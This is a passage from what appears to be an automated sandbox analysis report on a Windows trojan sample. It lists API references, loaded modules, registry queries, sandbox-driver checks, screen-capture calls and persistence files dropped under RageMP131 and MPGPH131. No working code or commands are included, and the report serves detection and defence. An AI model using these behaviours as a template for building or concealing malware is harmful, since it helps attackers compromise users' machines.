AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='table' or type='index' or type='trigger');"), "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "update %q.%s set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'"), "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where tbl=%q"), "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "DELETE FROM %Q.%s WHERE name=%Q" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "delete from %q.%s where name=%q"), "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where idx=%q"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "select name rootpage sql from '%q'.%s"), "UPDATE %Q.%s SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 00000000-00007268.00000000.66578.000B1000.00000040.mdmp, Indicator: "update %q.%s set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d")3e:T8fc,Found reference to API (Indicator: "lstrcpy"; File: "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156") Found reference to API (Indicator: "LocalAlloc"; File: "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00007268.00000000.66578.000B1000.00000040.mdmp")3f:T107f,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "KERNEL32" at base 75f30000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75ba0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73d60000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "USER32.DLL" at base 75920000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "ADVAPI32.DLL" at base 75450000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "NTDLL.DLL" at base 77b70000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "WINMM.DLL" at base 73cb0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "NTDLL" at base 77b70000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "KERNEL32.DLL" at base 75f30000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "GDI32.DLL" at base 74b30000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "SHELL32.DLL" at base 76830000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "OLE32.DLL" at base 75e30000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "WS2_32.DLL" at base 76260000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "CRYPT32.DLL" at base 766a0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "SHLWAPI.DLL" at base 75240000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "GDIPLUS.DLL" at base 742d0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "SETUPAPI.DLL" at base 745b0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "RSTRTMGR.DLL" at base 73850000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76070000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "RPCRT4.DLL" at base 75650000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "SSPICLI.DLL" at base 74590000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "WINHTTP.DLL" at base 73770000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "WININET.DLL" at base 734a0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73f70000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 73480000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73400000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 733b0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 73340000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "MSKEYPROTECT.DLL" at base 73330000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 73310000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75530000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 732c0000 "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7606000040:T70d,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")41:Tcff,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "SECURITEINFO.COM.WIN32.TROJANX-GEN.11896.11156.EXE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")42:T828,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\FLTLIB.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\WINMM.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\winmm.dll" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\WINMMBASE.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\WINMMBASE.dll" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\RSTRTMGR.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\RstrtMgr.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\NCRYPT.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\ncrypt.dll" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\BCRYPT.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\bcrypt.dll" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\NTASN1.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\NTASN1.dll" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\RageMP131\RAGEMP131.EXE" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\ProgramData\MPGPH131\MPGPH131.EXE" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\SCHTASKS.EXE" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\schtasks.exe" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "schtasks.exe"43:T4f2,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\SECURITEINFO.COM.WIN32.TROJANX-GEN.11896.11156.EXE.LOCAL" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe.Local\" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\RAGEMP131" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\RageMP131" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\ProgramData\MPGPH131" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\ADOBENI1NHLVVROPT" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\adobenI1nhlvVROpt" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\HEIDINI1NHLVVROPT" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\heidinI1nhlvVROpt"44:T486,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "c:\users\%osuser%\appdata\local\ragemp131\ragemp131.exe" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "c:\users\%osuser%\appdata\local\ragemp131\ragemp131.exe:zone.identifier" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "c:\programdata\mpgph131\mpgph131.exe" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "c:\programdata\mpgph131\mpgph131.exe:zone.identifier" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "c:\users\%osuser%\appdata\local\temp\rage131mp.tmp" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "%localappdata%\ragemp131\ragemp131.exe:zone.identifier" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "%localappdata%\ragemp131\ragemp131.exe" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "%allusersprofile%\mpgph131\mpgph131.exe:zone.identifier" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "%allusersprofile%\mpgph131\mpgph131.exe" "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" writes file "%temp%\rage131mp.tmp"45:T7f0,Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00007268-00000C26-36701385") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00007268-00000C26-36701485") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00007268-00000C26-36701539") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00007268-00000C26-36701583") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00007268-00000C26-36701625") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00007268-00000C26-36701728") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00007268-00000C26-36701768") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00007268-00000C26-39951983") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00007268-00000C26-40504917") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00007268-00000C26-40511119") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00007268-00000C26-40511168") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00007268-00000C26-40511202") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00007268-00000C26-40511202") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00007268-00000C26-40511202") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00007268-00000C26-40511269") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00007268-00000C26-40511269") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00007268-00000C26-40511335")46:T54b,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007268.00000000.66578.02EB0000.00000004.mdmp")47:Tc4c,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\SANDBOXFLTR"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\SCHTASKS.EXE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINHTTPAUTOPROXYSVC\PARAMETERS"; Key: "PROXYDLLFILE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "")48:Td10,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: 